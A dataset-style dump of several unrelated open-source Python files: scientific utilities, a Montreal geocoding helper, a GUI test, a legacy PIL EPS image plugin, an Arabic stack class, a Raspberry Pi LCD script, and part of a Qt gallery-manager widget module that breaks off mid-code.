code
stringlengths
2
1.05M
repo_name
stringlengths
5
104
path
stringlengths
4
251
language
stringclasses
1 value
license
stringclasses
15 values
size
int32
2
1.05M
# This file is part of rERPy # Copyright (C) 2012 Nathaniel Smith <[email protected]> # See file LICENSE.txt for license information. import os.path import functools import types import sys import numpy as np def maybe_open(file_like, mode="rb"): # FIXME: have more formal checking of binary/text, given how important # that is in py3? # FIXME: handle URLs? not sure how useful that would be given how huge # data files are though. if isinstance(file_like, basestring): return open(file_like, mode) else: return file_like def memoized_method(meth): attr_name = "_memoized_method_cache_%s" % (meth.__name__,) @functools.wraps(meth) def memoized_wrapper(self, *args): if not hasattr(self, attr_name): setattr(self, attr_name, {}) if args not in getattr(self, attr_name): value = meth(self, *args) assert not isinstance(value, types.GeneratorType) getattr(self, attr_name)[args] = value return getattr(self, attr_name)[args] return memoized_wrapper class _MemoizedTest(object): def __init__(self): self.x = 1 @memoized_method def return_x(self): return self.x @memoized_method def multiply_by_x(self, y): return y * self.x def test_memoized_method(): t = _MemoizedTest() assert t.return_x() == 1 assert t.multiply_by_x(3) == 3 t.x = 2 assert t.return_x() == 1 assert t.multiply_by_x(3) == 3 t2 = _MemoizedTest() t2.x = 2 assert t2.return_x() == 2 assert t2.multiply_by_x(3) == 6 t2.x = 1 assert t2.return_x() == 2 assert t2.multiply_by_x(3) == 6 def indent(string, chars, indent_first=True): lines = string.split("\n") indented = "\n".join([" " * chars + line for line in lines]) if not indent_first: indented = indented[chars:] return indented def test_indent(): assert indent("a\nb", 4) == " a\n b" assert indent("a\nb", 2) == " a\n b" assert indent("a\nb", 4, indent_first=False) == "a\n b" assert indent("a\nb", 2, indent_first=False) == "a\n b" class ProgressBar(object): def __init__(self, total, width=40, stream=sys.stdout): self._total = total self._width = width self._stream = stream self._filled = 0 self._i = 0 self.redraw() def redraw(self): self._stream.write("\r[" + "-" * self._filled + " " * (self._width - self._filled) + "]") if self._filled == self._width: assert self._i == self._total self._stream.write("\n") self._stream.flush() def increment(self): self._i += 1 filled = (self._i * self._width) // self._total if filled != self._filled: self._filled = filled self.redraw() def cancel(self): if self._filled < self._width: self._stream.write(" (cancelled)\n") def __enter__(self): return self def __exit__(self, exc_type, exc_value, traceback): self.cancel() def test_ProgressBar(): from cStringIO import StringIO out = StringIO() b = ProgressBar(3, width=6, stream=out) assert out.getvalue() == "\r[ ]" b.increment() assert out.getvalue() == "\r[ ]\r[-- ]" b.increment() assert out.getvalue() == "\r[ ]\r[-- ]\r[---- ]" b.increment() assert out.getvalue() == "\r[ ]\r[-- ]\r[---- ]\r[------]\n" out = StringIO() b = ProgressBar(30, width=3, stream=out) for i in xrange(30): b.increment() # No unnecessary updates assert out.getvalue() == "\r[ ]\r[- ]\r[-- ]\r[---]\n" out = StringIO() with ProgressBar(3, width=3, stream=out) as b: b.increment() assert out.getvalue() == "\r[ ]\r[- ] (cancelled)\n"
rerpy/rerpy
rerpy/util.py
Python
gpl-2.0
3,923
# coding=utf-8 from Levenshtein import ratio import requests import re arr_abrev = {'AC': 'Ahuntsic-Cartierville', 'AJ': 'Anjou', 'BF': 'Beaconsfield', 'BU': "Baie-d'Urfé", 'BV': 'Sainte-Anne-de-Bellevue', 'CL': 'Côte-Saint-Luc', 'CN': 'Côte-des-Neiges-Notre-Dame-de-Grâce', 'DO': 'Dollard-des-Ormeaux', 'DV': 'Dorval', 'HS': 'Hampstead', 'ID': "L'Île-Dorval", 'IS': "L'Île-Bizard-Sainte-Geneviève", 'KL': 'Kirkland', 'LC': 'Lachine', 'LN': 'Saint-Léonard', 'LR': 'Saint-Laurent', 'LS': 'LaSalle', 'ME': 'Montréal-Est', 'MH': 'Mercier-Hochelaga-Maisonneuve', 'MN': 'Montréal-Nord', 'MO': 'Montréal-Ouest', 'MR': 'Mont-Royal', 'OM': 'Outremont', 'PC': 'Pointe-Claire', 'PM': 'Le Plateau-Mont-Royal', 'PR': 'Pierrefonds-Roxboro', 'RO': 'Rosemont-La Petite-Patrie', 'RP': 'Rivière-des-Prairies-Pointe-aux-Trembles', 'SO': 'Le Sud-Ouest', 'SV': 'Senneville', 'VD': 'Verdun', 'VM': 'Ville-Marie', 'VS': 'Villeray-Saint-Michel-Parc-Extension', 'WM': 'Westmount'} def get_abrev(name): """ Get the abreviation for a given 'arrondissement' name. Uses Levensthein distance to match the name """ ret = None dist = 0 for abr, real_name in arr_abrev.items(): new_dist = ratio(name, real_name) if new_dist > dist: dist = new_dist ret = abr return ret def get_name(abr): """ Given an abbreviation, return the name or "Unknown" """ try: return arr_abrev[abr] except KeyError: return "Unknown" def extract_zipcode(string): """ Given a string, extract a zipcode if it's present in the string """ zipsearch =re.compile(r'[A-Z]\d[A-Z] *\d[A-Z]\d') if zipsearch.search(string): return zipsearch.search(string).group() else: return False def getZipcode(longitude, latitude): """ Given coordonates, return the zipcode """ r = requests.get('https://maps.googleapis.com/maps/api/geocode/json?latlng=%s,%s' % (latitude, longitude)) addresses = r.json() zipcode = [ extract_zipcode(a['formatted_address']) for a in addresses['results'] if extract_zipcode(a['formatted_address']) ].pop() return zipcode def getArrondissementCode(longitude, latitude): """ Given coordonates, return the arrondissement name """ r = requests.get('https://maps.googleapis.com/maps/api/geocode/json?latlng=%s,%s' % (latitude, longitude)) addresses = r.json() try: arr = [ a['formatted_address'].split(',')[0] for a in addresses['results'] if 'sublocality' in a['types'] ].pop() except: arr = "Rivière-des-Prairies-Pointe-aux-Trembles" return get_abrev(arr)
crevetor/libmtl
libmtl/__init__.py
Python
gpl-2.0
3,095
import chimera import XlaGuiTests import xlinkanalyzer as xla # for this test to run do: # chimera --pypath ~/devel/XlinkAnalyzer --pypath ~/devel/pyxlinks/ run.py <name of this file> RUNME = True description = "Tests gui class" class TestPolI(XlaGuiTests.XlaBaseTest): def setUp(self): mPaths = ['PolI/4C3H.pdb'] cPath = 'PolI/PolI_components.json' super(TestPolI, self).setUp(mPaths, cPath) ms = xla.get_gui().Subunits.table.modelSelect m = chimera.openModels.list()[0] ms.setvalue([m]) self.g = xla.get_gui() self.g.modelSelect.doSync(ms) def testPolI(self): xFrame = self.g.Xlinks xFrame.displayDefault() self.assertEqual(1, len(xFrame.getXlinkDataMgrs())) xmgr = xFrame.getXlinkDataMgrs()[0] self.assertEqual(171, len(xmgr.pbg.pseudoBonds)) xFrame.ld_score_var.set(30.0) displayed = len([pb for pb in xmgr.pbg.pseudoBonds if pb.display == True]) self.assertEqual(106, displayed)
crosslinks/XlinkAnalyzer
pytests/pyt_TestLoadPolI.py
Python
gpl-2.0
1,035
# # The Python Imaging Library. # $Id$ # # EPS file handling # # History: # 1995-09-01 fl Created (0.1) # 1996-05-18 fl Don't choke on "atend" fields, Ghostscript interface (0.2) # 1996-08-22 fl Don't choke on floating point BoundingBox values # 1996-08-23 fl Handle files from Macintosh (0.3) # 2001-02-17 fl Use 're' instead of 'regex' (Python 2.1) (0.4) # 2003-09-07 fl Check gs.close status (from Federico Di Gregorio) (0.5) # # Copyright (c) 1997-2003 by Secret Labs AB. # Copyright (c) 1995-2003 by Fredrik Lundh # # See the README file for information on usage and redistribution. # __version__ = "0.5" import Image, ImageFile import re, string # # -------------------------------------------------------------------- def i32(c): return ord(c[0]) + (ord(c[1])<<8) + (ord(c[2])<<16) + (ord(c[3])<<24) def o32(i): return chr(i&255) + chr(i>>8&255) + chr(i>>16&255) + chr(i>>24&255) split = re.compile(r"^%%([^:]*):[ \t]*(.*)[ \t]*$") field = re.compile(r"^%[%!\w]([^:]*)[ \t]*$") def Ghostscript(tile, size, fp): """Render an image using Ghostscript (Unix only)""" # Unpack decoder tile decoder, tile, offset, data = tile[0] length, bbox = data import tempfile, os file = tempfile.mktemp() # Build ghostscript command command = ["gs", "-q", # quite mode "-g%dx%d" % size, # set output geometry (pixels) "-dNOPAUSE -dSAFER", # don't pause between pages, safe mode "-sDEVICE=ppmraw", # ppm driver "-sOutputFile=%s" % file,# output file "- >/dev/null 2>/dev/null"] command = string.join(command) # push data through ghostscript try: gs = os.popen(command, "w") # adjust for image origin if bbox[0] != 0 or bbox[1] != 0: gs.write("%d %d translate\n" % (-bbox[0], -bbox[1])) fp.seek(offset) while length > 0: s = fp.read(8192) if not s: break length = length - len(s) gs.write(s) status = gs.close() if status: raise IOError("gs failed (status %d)" % status) im = Image.core.open_ppm(file) finally: try: os.unlink(file) except: pass return im class PSFile: """Wrapper that treats either CR or LF as end of line.""" def __init__(self, fp): self.fp = fp self.char = None def __getattr__(self, id): v = getattr(self.fp, id) setattr(self, id, v) return v def seek(self, offset, whence=0): self.char = None self.fp.seek(offset, whence) def tell(self): pos = self.fp.tell() if self.char: pos = pos - 1 return pos def readline(self): s = "" if self.char: c = self.char self.char = None else: c = self.fp.read(1) while c not in "\r\n": s = s + c c = self.fp.read(1) if c == "\r": self.char = self.fp.read(1) if self.char == "\n": self.char = None return s + "\n" def _accept(prefix): return prefix[:4] == "%!PS" or i32(prefix) == 0xC6D3D0C5L ## # Image plugin for Encapsulated Postscript. This plugin supports only # a few variants of this format. class EpsImageFile(ImageFile.ImageFile): """EPS File Parser for the Python Imaging Library""" format = "EPS" format_description = "Encapsulated Postscript" def _open(self): # FIXME: should check the first 512 bytes to see if this # really is necessary (platform-dependent, though...) fp = PSFile(self.fp) # HEAD s = fp.read(512) if s[:4] == "%!PS": offset = 0 fp.seek(0, 2) length = fp.tell() elif i32(s) == 0xC6D3D0C5L: offset = i32(s[4:]) length = i32(s[8:]) fp.seek(offset) else: raise SyntaxError, "not an EPS file" fp.seek(offset) box = None self.mode = "RGB" self.size = 1, 1 # FIXME: huh? # # Load EPS header s = fp.readline() while s: if len(s) > 255: raise SyntaxError, "not an EPS file" if s[-2:] == '\r\n': s = s[:-2] elif s[-1:] == '\n': s = s[:-1] try: m = split.match(s) except re.error, v: raise SyntaxError, "not an EPS file" if m: k, v = m.group(1, 2) self.info[k] = v if k == "BoundingBox": try: # Note: The DSC spec says that BoundingBox # fields should be integers, but some drivers # put floating point values there anyway. box = map(int, map(float, string.split(v))) self.size = box[2] - box[0], box[3] - box[1] self.tile = [("eps", (0,0) + self.size, offset, (length, box))] except: pass else: m = field.match(s) if m: k = m.group(1) if k == "EndComments": break if k[:8] == "PS-Adobe": self.info[k[:8]] = k[9:] else: self.info[k] = "" else: raise IOError, "bad EPS header" s = fp.readline() if s[:1] != "%": break # # Scan for an "ImageData" descriptor while s[0] == "%": if len(s) > 255: raise SyntaxError, "not an EPS file" if s[-2:] == '\r\n': s = s[:-2] elif s[-1:] == '\n': s = s[:-1] if s[:11] == "%ImageData:": [x, y, bi, mo, z3, z4, en, id] =\ string.split(s[11:], maxsplit=7) x = int(x); y = int(y) bi = int(bi) mo = int(mo) en = int(en) if en == 1: decoder = "eps_binary" elif en == 2: decoder = "eps_hex" else: break if bi != 8: break if mo == 1: self.mode = "L" elif mo == 2: self.mode = "LAB" elif mo == 3: self.mode = "RGB" else: break if id[:1] == id[-1:] == '"': id = id[1:-1] # Scan forward to the actual image data while 1: s = fp.readline() if not s: break if s[:len(id)] == id: self.size = x, y self.tile2 = [(decoder, (0, 0, x, y), fp.tell(), 0)] return s = fp.readline() if not s: break if not box: raise IOError, "cannot determine EPS bounding box" def load(self): # Load EPS via Ghostscript if not self.tile: return self.im = Ghostscript(self.tile, self.size, self.fp) self.mode = self.im.mode self.size = self.im.size self.tile = [] # # -------------------------------------------------------------------- def _save(im, fp, filename, eps=1): """EPS Writer for the Python Imaging Library.""" # # make sure image data is available im.load() # # determine postscript image mode if im.mode == "L": operator = (8, 1, "image") elif im.mode == "RGB": operator = (8, 3, "false 3 colorimage") elif im.mode == "CMYK": operator = (8, 4, "false 4 colorimage") else: raise ValueError, "image mode is not supported" if eps: # # write EPS header fp.write("%!PS-Adobe-3.0 EPSF-3.0\n") fp.write("%%Creator: PIL 0.1 EpsEncode\n") #fp.write("%%CreationDate: %s"...) fp.write("%%%%BoundingBox: 0 0 %d %d\n" % im.size) fp.write("%%Pages: 1\n") fp.write("%%EndComments\n") fp.write("%%Page: 1 1\n") fp.write("%%ImageData: %d %d " % im.size) fp.write("%d %d 0 1 1 \"%s\"\n" % operator) # # image header fp.write("gsave\n") fp.write("10 dict begin\n") fp.write("/buf %d string def\n" % (im.size[0] * operator[1])) fp.write("%d %d scale\n" % im.size) fp.write("%d %d 8\n" % im.size) # <= bits fp.write("[%d 0 0 -%d 0 %d]\n" % (im.size[0], im.size[1], im.size[1])) fp.write("{ currentfile buf readhexstring pop } bind\n") fp.write("%s\n" % operator[2]) ImageFile._save(im, fp, [("eps", (0,0)+im.size, 0, None)]) fp.write("\n%%%%EndBinary\n") fp.write("grestore end\n") fp.flush() # # -------------------------------------------------------------------- Image.register_open(EpsImageFile.format, EpsImageFile, _accept) Image.register_save(EpsImageFile.format, _save) Image.register_extension(EpsImageFile.format, ".ps") Image.register_extension(EpsImageFile.format, ".eps") Image.register_mime(EpsImageFile.format, "application/postscript")
ppizarror/Hero-of-Antair
data/images/pil/EpsImagePlugin.py
Python
gpl-2.0
9,745
#!/usr/bin/python # -*- coding=utf-8 -*- #--- # # ------------ # Description: # ------------ # # Arabic codes # # (C) Copyright 2010, Taha Zerrouki # ----------------- # $Date: 2010/03/01 # $Author: Taha Zerrouki$ # $Revision: 0.1 $ # This program is written under the Gnu Public License. # """ Stack module """ class Stack : def __init__(self,text="") : self.items = list(text); def push(self, item) : self.items.append(item) def pop(self) : if not self.isEmpty(): return self.items.pop() else: return None; def isEmpty(self) : return (self.items == [])
mohsenuss91/pyarabic
pyarabic/stack.py
Python
gpl-3.0
582
#!/usr/bin/python #-------------------------------------- # ___ ___ _ ____ # / _ \/ _ \(_) __/__ __ __ # / , _/ ___/ /\ \/ _ \/ // / # /_/|_/_/ /_/___/ .__/\_, / # /_/ /___/ # # lcd_16x2.py # 16x2 LCD Test Script # # Author : Matt Hawkins # Date : 06/04/2015 # # http://www.raspberrypi-spy.co.uk/ # #-------------------------------------- # The wiring for the LCD is as follows: # 1 : GND # 2 : 5V # 3 : Contrast (0-5V)* # 4 : RS (Register Select) # 5 : R/W (Read Write) - GROUND THIS PIN # 6 : Enable or Strobe # 7 : Data Bit 0 - NOT USED # 8 : Data Bit 1 - NOT USED # 9 : Data Bit 2 - NOT USED # 10: Data Bit 3 - NOT USED # 11: Data Bit 4 # 12: Data Bit 5 # 13: Data Bit 6 # 14: Data Bit 7 # 15: LCD Backlight +5V** # 16: LCD Backlight GND #import import RPi.GPIO as GPIO import time # Define GPIO to LCD mapping LCD_RS = 7 LCD_E = 8 LCD_D4 = 25 LCD_D5 = 24 LCD_D6 = 23 LCD_D7 = 18 # Define some device constants LCD_WIDTH = 16 # Maximum characters per line LCD_CHR = True LCD_CMD = False LCD_LINE_1 = 0x80 # LCD RAM address for the 1st line LCD_LINE_2 = 0xC0 # LCD RAM address for the 2nd line # Timing constants E_PULSE = 0.0005 E_DELAY = 0.0005 def main(): # Main program block GPIO.setmode(GPIO.BCM) # Use BCM GPIO numbers GPIO.setup(LCD_E, GPIO.OUT) # E GPIO.setup(LCD_RS, GPIO.OUT) # RS GPIO.setup(LCD_D4, GPIO.OUT) # DB4 GPIO.setup(LCD_D5, GPIO.OUT) # DB5 GPIO.setup(LCD_D6, GPIO.OUT) # DB6 GPIO.setup(LCD_D7, GPIO.OUT) # DB7 # Initialise display lcd_init() while True: # Send some test lcd_string("Rasbperry Pi",LCD_LINE_1) lcd_string("16x2 LCD Test",LCD_LINE_2) time.sleep(3) # 3 second delay # Send some text lcd_string("1234567890123456",LCD_LINE_1) lcd_string("abcdefghijklmnop",LCD_LINE_2) time.sleep(3) # 3 second delay # Send some text lcd_string("RaspberryPi-spy",LCD_LINE_1) lcd_string(".co.uk",LCD_LINE_2) time.sleep(3) # Send some text lcd_string("Follow me on",LCD_LINE_1) lcd_string("Twitter @RPiSpy",LCD_LINE_2) time.sleep(3) def lcd_init(): # Initialise display lcd_byte(0x33,LCD_CMD) # 110011 Initialise lcd_byte(0x32,LCD_CMD) # 110010 Initialise lcd_byte(0x06,LCD_CMD) # 000110 Cursor move direction lcd_byte(0x0C,LCD_CMD) # 001100 Display On,Cursor Off, Blink Off lcd_byte(0x28,LCD_CMD) # 101000 Data length, number of lines, font size lcd_byte(0x01,LCD_CMD) # 000001 Clear display time.sleep(E_DELAY) def lcd_byte(bits, mode): # Send byte to data pins # bits = data # mode = True for character # False for command GPIO.output(LCD_RS, mode) # RS # High bits GPIO.output(LCD_D4, False) GPIO.output(LCD_D5, False) GPIO.output(LCD_D6, False) GPIO.output(LCD_D7, False) if bits&0x10==0x10: GPIO.output(LCD_D4, True) if bits&0x20==0x20: GPIO.output(LCD_D5, True) if bits&0x40==0x40: GPIO.output(LCD_D6, True) if bits&0x80==0x80: GPIO.output(LCD_D7, True) # Toggle 'Enable' pin lcd_toggle_enable() # Low bits GPIO.output(LCD_D4, False) GPIO.output(LCD_D5, False) GPIO.output(LCD_D6, False) GPIO.output(LCD_D7, False) if bits&0x01==0x01: GPIO.output(LCD_D4, True) if bits&0x02==0x02: GPIO.output(LCD_D5, True) if bits&0x04==0x04: GPIO.output(LCD_D6, True) if bits&0x08==0x08: GPIO.output(LCD_D7, True) # Toggle 'Enable' pin lcd_toggle_enable() def lcd_toggle_enable(): # Toggle enable time.sleep(E_DELAY) GPIO.output(LCD_E, True) time.sleep(E_PULSE) GPIO.output(LCD_E, False) time.sleep(E_DELAY) def lcd_string(message,line): # Send string to display message = message.ljust(LCD_WIDTH," ") lcd_byte(line, LCD_CMD) for i in range(LCD_WIDTH): lcd_byte(ord(message[i]),LCD_CHR) if __name__ == '__main__': try: main() except KeyboardInterrupt: pass finally: lcd_byte(0x01, LCD_CMD) lcd_string("Goodbye!",LCD_LINE_1) GPIO.cleanup()
UgoesSky/Fahrradverleih
lcd_16x2.py
Python
gpl-3.0
4,028
#""" #This file is part of Happypanda. #Happypanda is free software: you can redistribute it and/or modify #it under the terms of the GNU General Public License as published by #the Free Software Foundation, either version 2 of the License, or #any later version. #Happypanda is distributed in the hope that it will be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public License for more details. #You should have received a copy of the GNU General Public License #along with Happypanda. If not, see <http://www.gnu.org/licenses/>. #""" import os, threading, queue, time, logging, math, random, functools, scandir from datetime import datetime from PyQt5.QtCore import (Qt, QDate, QPoint, pyqtSignal, QThread, QTimer, QObject, QSize, QRect, QFileInfo, QMargins, QPropertyAnimation, QRectF, QTimeLine, QMargins, QPropertyAnimation, QByteArray) from PyQt5.QtGui import (QTextCursor, QIcon, QMouseEvent, QFont, QPixmapCache, QPalette, QPainter, QBrush, QColor, QPen, QPixmap, QMovie, QPaintEvent, QFontMetrics) from PyQt5.QtWidgets import (QWidget, QProgressBar, QLabel, QVBoxLayout, QHBoxLayout, QDialog, QGridLayout, QLineEdit, QFormLayout, QPushButton, QTextEdit, QComboBox, QDateEdit, QGroupBox, QDesktopWidget, QMessageBox, QFileDialog, QCompleter, QListWidgetItem, QListWidget, QApplication, QSizePolicy, QCheckBox, QFrame, QListView, QAbstractItemView, QTreeView, QSpinBox, QAction, QStackedLayout, QTabWidget, QGridLayout, QScrollArea, QLayout, QButtonGroup, QRadioButton, QFileIconProvider, QFontDialog, QColorDialog, QScrollArea, QSystemTrayIcon, QMenu, QGraphicsBlurEffect, QActionGroup) from utils import (tag_to_string, tag_to_dict, title_parser, ARCHIVE_FILES, ArchiveFile, IMG_FILES, CreateArchiveFail) import utils import gui_constants import gallerydb import fetch import settings log = logging.getLogger(__name__) log_i = log.info log_d = log.debug log_w = log.warning log_e = log.error log_c = log.critical def clearLayout(layout): if layout != None: while layout.count(): child = layout.takeAt(0) if child.widget() is not None: child.widget().deleteLater() elif child.layout() is not None: clearLayout(child.layout()) class CompleterPopupView(QListView): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) def _setup(self): property_b_array = QByteArray().append('windowOpacity') self.fade_animation = QPropertyAnimation(self, property_b_array) self.fade_animation.setDuration(200) self.fade_animation.setStartValue(0.0) self.fade_animation.setEndValue(1.0) self.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) self.setFrameStyle(self.StyledPanel) def showEvent(self, event): self.setWindowOpacity(0) self.fade_animation.start() super().showEvent(event) class ElidedLabel(QLabel): def paintEvent(self, event): painter = QPainter(self) metrics = QFontMetrics(self.font()) elided = metrics.elidedText(self.text(), Qt.ElideRight, self.width()) painter.drawText(self.rect(), self.alignment(), elided) class BaseMoveWidget(QWidget): def __init__(self, parent=None, **kwargs): move_listener = kwargs.pop('move_listener', True) super().__init__(parent, **kwargs) self.parent_widget = parent self.setAttribute(Qt.WA_DeleteOnClose) if parent and move_listener: try: parent.move_listener.connect(self.update_move) except AttributeError: pass def update_move(self, new_size=None): if new_size: self.move(new_size) return if self.parent_widget: self.move(self.parent_widget.window().frameGeometry().center() -\ self.window().rect().center()) class SortMenu(QMenu): def __init__(self, parent, mangaview): super().__init__(parent) self.manga_view = mangaview self.sort_actions = QActionGroup(self, exclusive=True) asc_desc_act = QAction("Asc/Desc", self) asc_desc_act.triggered.connect(self.asc_desc) s_title = self.sort_actions.addAction(QAction("Title", self.sort_actions, checkable=True)) s_title.triggered.connect(functools.partial(self.manga_view.sort, 'title')) s_artist = self.sort_actions.addAction(QAction("Author", self.sort_actions, checkable=True)) s_artist.triggered.connect(functools.partial(self.manga_view.sort, 'artist')) s_date = self.sort_actions.addAction(QAction("Date Added", self.sort_actions, checkable=True)) s_date.triggered.connect(functools.partial(self.manga_view.sort, 'date_added')) s_pub_d = self.sort_actions.addAction(QAction("Date Published", self.sort_actions, checkable=True)) s_pub_d.triggered.connect(functools.partial(self.manga_view.sort, 'pub_date')) s_times_read = self.sort_actions.addAction(QAction("Read Count", self.sort_actions, checkable=True)) s_times_read.triggered.connect(functools.partial(self.manga_view.sort, 'times_read')) self.addAction(asc_desc_act) self.addSeparator() self.addAction(s_title) self.addAction(s_artist) self.addAction(s_date) self.addAction(s_pub_d) self.addAction(s_times_read) self.set_current_sort() def set_current_sort(self): def check_key(act, key): if self.manga_view.current_sort == key: act.setChecked(True) for act in self.sort_actions.actions(): if act.text() == 'Title': check_key(act, 'title') elif act.text() == 'Artist': check_key(act, 'artist') elif act.text() == 'Date Added': check_key(act, 'date_added') elif act.text() == 'Date Published': check_key(act, 'pub_date') elif act.text() == 'Read Count': check_key(act, 'times_read') def asc_desc(self): if self.manga_view.sort_model.sortOrder() == Qt.AscendingOrder: self.manga_view.sort_model.sort(0, Qt.DescendingOrder) else: self.manga_view.sort_model.sort(0, Qt.AscendingOrder) def showEvent(self, event): self.set_current_sort() super().showEvent(event) class ToolbarButton(QPushButton): def __init__(self, parent = None, txt=''): super().__init__(parent) self._text = '' self._font_metrics = self.fontMetrics() if txt: self.setText(txt) self._selected = False @property def selected(self): return self._selected @selected.setter def selected(self, b): self._selected = b self.update() def paintEvent(self, event): assert isinstance(event, QPaintEvent) painter = QPainter(self) painter.setPen(QColor(164,164,164,120)) painter.setBrush(Qt.NoBrush) if self._selected: painter.setBrush(QBrush(QColor(164,164,164,120))) #painter.setPen(Qt.NoPen) painter.setRenderHint(painter.Antialiasing) but_rect = QRectF(2.5,2.5, self.width()-5, self.height()-5) select_rect = QRectF(0,0, self.width(), self.height()) painter.drawRoundedRect(but_rect, 2.5,2.5) txt_to_draw = self._font_metrics.elidedText(self._text, Qt.ElideRight, but_rect.width()) text_rect = QRectF(but_rect.x()+8, but_rect.y(), but_rect.width()-1.5, but_rect.height()-1.5) painter.setPen(QColor('white')) painter.drawText(text_rect, txt_to_draw) if self.underMouse(): painter.save() painter.setPen(Qt.NoPen) painter.setBrush(QBrush(QColor(164,164,164,90))) painter.drawRoundedRect(select_rect, 5,5) painter.restore() def setText(self, txt): self._text = txt self.update() super().setText(txt) self.adjustSize() def text(self): return self._text class TransparentWidget(BaseMoveWidget): def __init__(self, parent=None, **kwargs): super().__init__(parent, **kwargs) self.setAttribute(Qt.WA_TranslucentBackground) class Spinner(TransparentWidget): """ Spinner widget """ activated = pyqtSignal() deactivated = pyqtSignal() about_to_show, about_to_hide = range(2) def __init__(self, parent=None): super().__init__(parent, flags=Qt.Window|Qt.FramelessWindowHint) self.setAttribute(Qt.WA_ShowWithoutActivating) self.fps = 21 self.border = 2 self.line_width = 5 self.arc_length = 100 self.seconds_per_spin = 1 self.text = '' self._timer = QTimer(self) self._timer.timeout.connect(self._on_timer_timeout) # keep track of the current start angle to avoid # unnecessary repaints self._start_angle = 0 self.state_timer = QTimer() self.current_state = self.about_to_show self.state_timer.timeout.connect(super().hide) self.state_timer.setSingleShot(True) # animation property_b_array = QByteArray().append('windowOpacity') self.fade_animation = QPropertyAnimation(self, property_b_array) self.fade_animation.setDuration(800) self.fade_animation.setStartValue(0.0) self.fade_animation.setEndValue(1.0) self.setWindowOpacity(0.0) self.set_size(50) def set_size(self, w): self.setFixedWidth(w) self.setFixedHeight(w+self.fontMetrics().height()) self.update() def set_text(self, txt): self.text = txt self.update() def paintEvent(self, event): # call the base paint event: super().paintEvent(event) painter = QPainter() painter.begin(self) try: painter.setRenderHint(QPainter.Antialiasing) txt_rect = QRectF(0,0,0,0) if not self.text: txt_rect.setHeight(self.fontMetrics().height()) painter.save() painter.setPen(Qt.NoPen) painter.setBrush(QBrush(QColor(88,88,88,180))) painter.drawRoundedRect(QRect(0,0, self.width(), self.height() - txt_rect.height()), 5, 5) painter.restore() pen = QPen(QColor('#F2F2F2')) pen.setWidth(self.line_width) painter.setPen(pen) if self.text: text_elided = self.fontMetrics().elidedText(self.text, Qt.ElideRight, self.width()-5) txt_rect = painter.boundingRect(txt_rect, text_elided) border = self.border + int(math.ceil(self.line_width / 2.0)) r = QRectF((txt_rect.height())/2, (txt_rect.height()/2), self.width()-txt_rect.height(), self.width()-txt_rect.height()) r.adjust(border, border, -border, -border) # draw the arc: painter.drawArc(r, -self._start_angle * 16, self.arc_length * 16) # draw text if there is if self.text: painter.drawText(QRectF(5, self.height()-txt_rect.height()-2.5, txt_rect.width(), txt_rect.height()), text_elided) r = None finally: painter.end() painter = None def showEvent(self, event): if not self._timer.isActive(): self.fade_animation.start() self.current_state = self.about_to_show self.state_timer.stop() self.activated.emit() self._timer.start(1000 / max(1, self.fps)) super().showEvent(event) def hideEvent(self, event): self._timer.stop() self.deactivated.emit() super().hideEvent(event) def before_hide(self): if self.current_state == self.about_to_hide: return self.current_state = self.about_to_hide self.state_timer.start(5000) def closeEvent(self, event): self._timer.stop() super().closeEvent(event) def _on_timer_timeout(self): if not self.isVisible(): return # calculate the spin angle as a function of the current time so that all # spinners appear in sync! t = time.time() whole_seconds = int(t) p = (whole_seconds % self.seconds_per_spin) + (t - whole_seconds) angle = int((360 * p)/self.seconds_per_spin) if angle == self._start_angle: return self._start_angle = angle self.update() class GalleryMenu(QMenu): def __init__(self, view, index, gallery_model, app_window, selected_indexes=None): super().__init__(app_window) self.parent_widget = app_window self.view = view self.gallery_model = gallery_model self.index = index self.selected = selected_indexes if not self.selected: favourite_act = self.addAction('Favorite', lambda: self.parent_widget.manga_list_view.favorite(self.index)) favourite_act.setCheckable(True) if self.index.data(Qt.UserRole+1).fav: favourite_act.setChecked(True) favourite_act.setText('Unfavorite') else: favourite_act.setChecked(False) else: favourite_act = self.addAction('Favorite selected', self.favourite_select) favourite_act.setCheckable(True) f = [] for idx in self.selected: if idx.data(Qt.UserRole+1).fav: f.append(True) else: f.append(False) if all(f): favourite_act.setChecked(True) favourite_act.setText('Unfavorite selected') else: favourite_act.setChecked(False) self.addSeparator() if not self.selected: chapters_menu = self.addAction('Chapters') open_chapters = QMenu(self) chapters_menu.setMenu(open_chapters) for number, chap_number in enumerate(range(len( index.data(Qt.UserRole+1).chapters)), 1): chap_action = QAction("Open chapter {}".format(number), open_chapters, triggered = functools.partial( self.parent_widget.manga_list_view.open_chapter, index, chap_number)) open_chapters.addAction(chap_action) if not self.selected: add_chapters = self.addAction('Add chapters', self.add_chapters) if self.selected: open_f_chapters = self.addAction('Open first chapters', lambda: self.parent_widget.manga_list_view.open_chapter(self.selected, 0)) self.addSeparator() if not self.selected: get_metadata = self.addAction('Get metadata', lambda: self.parent_widget.get_metadata(index.data(Qt.UserRole+1))) else: gals = [] for idx in self.selected: gals.append(idx.data(Qt.UserRole+1)) get_select_metadata = self.addAction('Get metadata for selected', lambda: self.parent_widget.get_metadata(gals)) self.addSeparator() if not self.selected: edit = self.addAction('Edit', lambda: self.parent_widget.manga_list_view.spawn_dialog(self.index)) text = 'folder' if not self.index.data(Qt.UserRole+1).is_archive else 'archive' op_folder_act = self.addAction('Open {}'.format(text), self.op_folder) op_cont_folder_act = self.addAction('Show in folder', lambda: self.op_folder(containing=True)) else: text = 'folders' if not self.index.data(Qt.UserRole+1).is_archive else 'archives' op_folder_select = self.addAction('Open {}'.format(text), lambda: self.op_folder(True)) op_cont_folder_select = self.addAction('Show in folders', lambda: self.op_folder(True, True)) if self.index.data(Qt.UserRole+1).link and not self.selected: op_link = self.addAction('Open URL', self.op_link) if self.selected and all([idx.data(Qt.UserRole+1).link for idx in self.selected]): op_links = self.addAction('Open URLs', lambda: self.op_link(True)) remove_act = self.addAction('Remove') remove_menu = QMenu(self) remove_act.setMenu(remove_menu) if not self.selected: remove_g = remove_menu.addAction('Remove gallery', lambda: self.view.remove_gallery([self.index])) remove_ch = remove_menu.addAction('Remove chapter') remove_ch_menu = QMenu(self) remove_ch.setMenu(remove_ch_menu) for number, chap_number in enumerate(range(len( self.index.data(Qt.UserRole+1).chapters)), 1): chap_action = QAction("Remove chapter {}".format(number), remove_ch_menu, triggered = functools.partial( 